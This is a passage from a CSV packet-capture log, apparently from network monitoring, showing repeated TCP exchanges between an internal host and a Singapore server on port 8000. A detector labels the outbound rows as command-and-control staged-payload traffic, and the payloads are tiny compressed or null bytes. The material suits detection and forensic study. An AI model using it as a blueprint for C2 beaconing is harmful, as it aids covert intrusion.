Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=519372791 Ack=1345064463,bc24112907bbbc2411360d0c08004500003db0aa400080063f400a98980bc0a3a789fa591f401ef4fff7502c0e0f50182014887000001100c0ff1100000001000000789ceb0300008f008f,............x........,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 61, \"\"id\"\": 45226, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16192, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372791, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 34928, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"1100c0ff1100000001000000789ceb0300008f008f\"\"}}]\"\n2026-07-01 09:09:33.757425,560,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372812,bc2411360d0cbc24112907bb080045000028ec144000400643ebc0a3a7890a98980b1f40fa59502c0e0f1ef5000c5010003f0aeb0000,\".$.6\n..$.)....E..(..@.@.C.....\n....@.YP,......P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 60436, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17387, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372812, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:09:34.771089,561,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372811 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0ab400080063f530a98980bc0a3a789fa591f401ef5000b502c0e0f50102014ee19000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45227, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16211, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372811, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60953, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:34.771105,562,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372812,bc2411360d0cbc24112907bb080045000034ec154000400643dec0a3a7890a98980b1f40fa59502c0e0f1ef5000c8010003f0af700000101050a1ef5000b1ef5000c,\".$.6\n..$.)....E..4..@.@.C.....\n....@.YP,.........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60437, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17374, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372812, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372811, 519372812))]\"\"}}]\"\n2026-07-01 09:09:35.771124,563,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372811 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0ac400080063f520a98980bc0a3a789fa591f401ef5000b502c0e0f50102014ee19000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45228, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16210, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372811, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60953, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:35.771155,564,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372812,bc2411360d0cbc24112907bb080045000034ec164000400643ddc0a3a7890a98980b1f40fa59502c0e0f1ef5000c8010003f0af700000101050a1ef5000b1ef5000c,\".$.6\n..$.)....E..4..@.@.C.....\n....@.YP,.........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60438, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17373, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372812, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372811, 519372812))]\"\"}}]\"\n2026-07-01 09:09:36.786785,565,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372811 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0ad400080063f510a98980bc0a3a789fa591f401ef5000b502c0e0f50102014ee19000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45229, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16209, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372811, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60953, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:36.786802,566,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372812,bc2411360d0cbc24112907bb080045000034ec174000400643dcc0a3a7890a98980b1f40fa59502c0e0f1ef5000c8010003f0af700000101050a1ef5000b1ef5000c,\".$.6\n..$.)....E..4..@.@.C.....\n....@.YP,.........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60439, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17372, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372812, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372811, 519372812))]\"\"}}]\"\n2026-07-01 09:09:37.802398,567,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372811 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0ae400080063f500a98980bc0a3a789fa591f401ef5000b502c0e0f50102014ee19000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45230, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16208, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372811, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60953, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:37.802402,568,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372812,bc2411360d0cbc24112907bb080045000034ec184000400643dbc0a3a7890a98980b1f40fa59502c0e0f1ef5000c8010003f0af700000101050a1ef5000b1ef5000c,\".$.6\n..$.)....E..4..@.@.C.....\n....@.YP,.........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60440, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17371, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372812, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372811, 519372812))]\"\"}}]\"\n2026-07-01 09:09:38.802449,569,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372811 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0af400080063f4f0a98980bc0a3a789fa591f401ef5000b502c0e0f50102014ee19000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45231, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16207, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372811, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60953, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:38.802489,570,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372812,bc2411360d0cbc24112907bb080045000034ec194000400643dac0a3a7890a98980b1f40fa59502c0e0f1ef5000c8010003f0af700000101050a1ef5000b1ef5000c,\".$.6\n..$.)....E..4..@.@.C.....\n....@.YP,.........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60441, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17370, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372812, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372811, 519372812))]\"\"}}]\"\n2026-07-01 09:09:39.802500,571,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372811 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0b0400080063f4e0a98980bc0a3a789fa591f401ef5000b502c0e0f50102014ee19000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45232, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16206, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372811, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60953, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:39.802518,572,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372812,bc2411360d0cbc24112907bb080045000034ec1a4000400643d9c0a3a7890a98980b1f40fa59502c0e0f1ef5000c8010003f0af700000101050a1ef5000b1ef5000c,\".$.6\n..$.)....E..4..@.@.C.....\n....@.YP,.........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60442, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17369, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372812, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372811, 519372812))]\"\"}}]\"\n2026-07-01 09:09:40.818125,573,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372811 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0b1400080063f4d0a98980bc0a3a789fa591f401ef5000b502c0e0f50102014ee19000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45233, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16205, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372811, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60953, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:40.818148,574,TCP 192.163.167.137:8000 -> 10.152.152.11:64089,192.163.167.137,10.152.152.11,8000,64089,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1345064463 Ack=519372812,bc2411360d0cbc24112907bb080045000034ec1b4000400643d8c0a3a7890a98980b1f40fa59502c0e0f1ef5000c8010003f0af700000101050a1ef5000b1ef5000c,\".$.6\n..$.)....E..4..@.@.C.....\n....@.YP,.........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 60443, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17368, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64089, \"\"seq\"\": 1345064463, \"\"ack\"\": 519372812, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (519372811, 519372812))]\"\"}}]\"\n2026-07-01 09:09:41.833764,575,TCP 10.152.152.11:64089 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64089,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=519372811 Ack=1345064463,bc24112907bbbc2411360d0c080045000029b0b2400080063f4c0a98980bc0a3a789fa591f401ef5000b502c0e0f50102014ee19000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45234, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16204, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64089, \"\"dport\"\": 8000, \"\"seq\"\": 519372811, \"\"ack\"\": 1345064463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 60953, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:09:41.833816,576,TCP 192.163.167.137:8000 -> 